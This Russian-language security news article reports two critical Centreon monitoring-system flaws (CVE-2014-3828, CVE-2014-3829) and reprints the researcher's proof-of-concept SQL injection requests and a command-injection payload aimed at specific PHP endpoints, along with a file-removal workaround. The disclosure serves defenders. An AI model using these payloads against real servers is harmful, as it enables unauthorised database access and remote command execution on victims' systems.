В свободной системе мониторинга Centreon обнаружены две критические уязвимости

image

Теги: обнаружение уязвимости, компрометация системы

Бреши позволяют злоумышленникам выполнять SQL-инъекции и удаленно исполнять команды на сервере.

В системе мониторинга с открытым исходным кодом Centreon были обнаружены сразу две критические  уязвимости , которые могут быть проэксплуатированы любым анонимным пользователем. Об этом сообщается в списке рассылки Full Disclosure. Бреши были обнаружены еще 3 июня этого года, но производитель не отреагировал на сообщение.

Как оказалось, злоумышленники могут выполнить SQL-инъекции, а также удаленно исполнять команды на сервере под управлением Centreon. Уязвимости с идентификаторами CVE-2014-3828 и CVE-2014-3829 присутствуют во всех версиях Centreon, выпущенных с 2008 года (2.0 - 2.5.2).

Исследователь, обнаруживший бреши, опубликовал PoC-коды для их эксплуатации. Для того чтобы выполнить SQL-инъекцию, достаточно послать следующий запрос на сервер под управлением Centreon:

[POST] http://server/centreon/include/configuration/configObject/traps/GetXMLTrapsForVendor.php
 [POST DATA] mnftr_id=1 or 1=1 union all select version(),2 -- /**
 
 [POST] http://server/centreon/include/common/javascript/commandGetArgs/cmdGetExample.php
 [POST DATA] index=2' or 1=1 -- /**
 
 [GET] http://server/centreon/include/views/graphs/GetXmlTree.php?sid=' or 1=1 -- /**
 
 [GET] http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0' or 1=1 -- /**&index=1' or 1=1 -- /**
 
 [GET] http://server/centreon/include/views/graphs/common/makeXML_ListMetrics.php?index_id=' union select @@version,2,3 -- /**

Помимо этого, злоумышленники также могут удаленно выполнять команды на уязвимом сервере. PoC-код для эксплуатации данной бреши выглядит следующим образом:

[PAYLOAD] ";uname -a;" (конвертируется в SQL "CHAR(59, 32, 117, 110, 97, 109, 101, 32, 45, 97, 59)")
  
 [GET] http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php (на старых версиях Centreon: http://server/centreon/include/views/graphs/statusGraphs/displayServiceStatus.php)
  
 ?session_id=' or 1=1 -- /**
  
 &template_id=' UNION ALL SELECT 1,2,3,4,5,CHAR(59, 32, 117, 110, 97, 109, 101, 32, 45, 97, 59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**

В настоящее время единственный способ устранить вышеуказанную брешь – удалить файл displayServiceStatus.php или заблокировать к нему доступ.

Разработчик никак не прокомментировал сложившуюся ситуацию.

Telegram Подписывайтесь на канал "SecurityLab" в Telegram, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.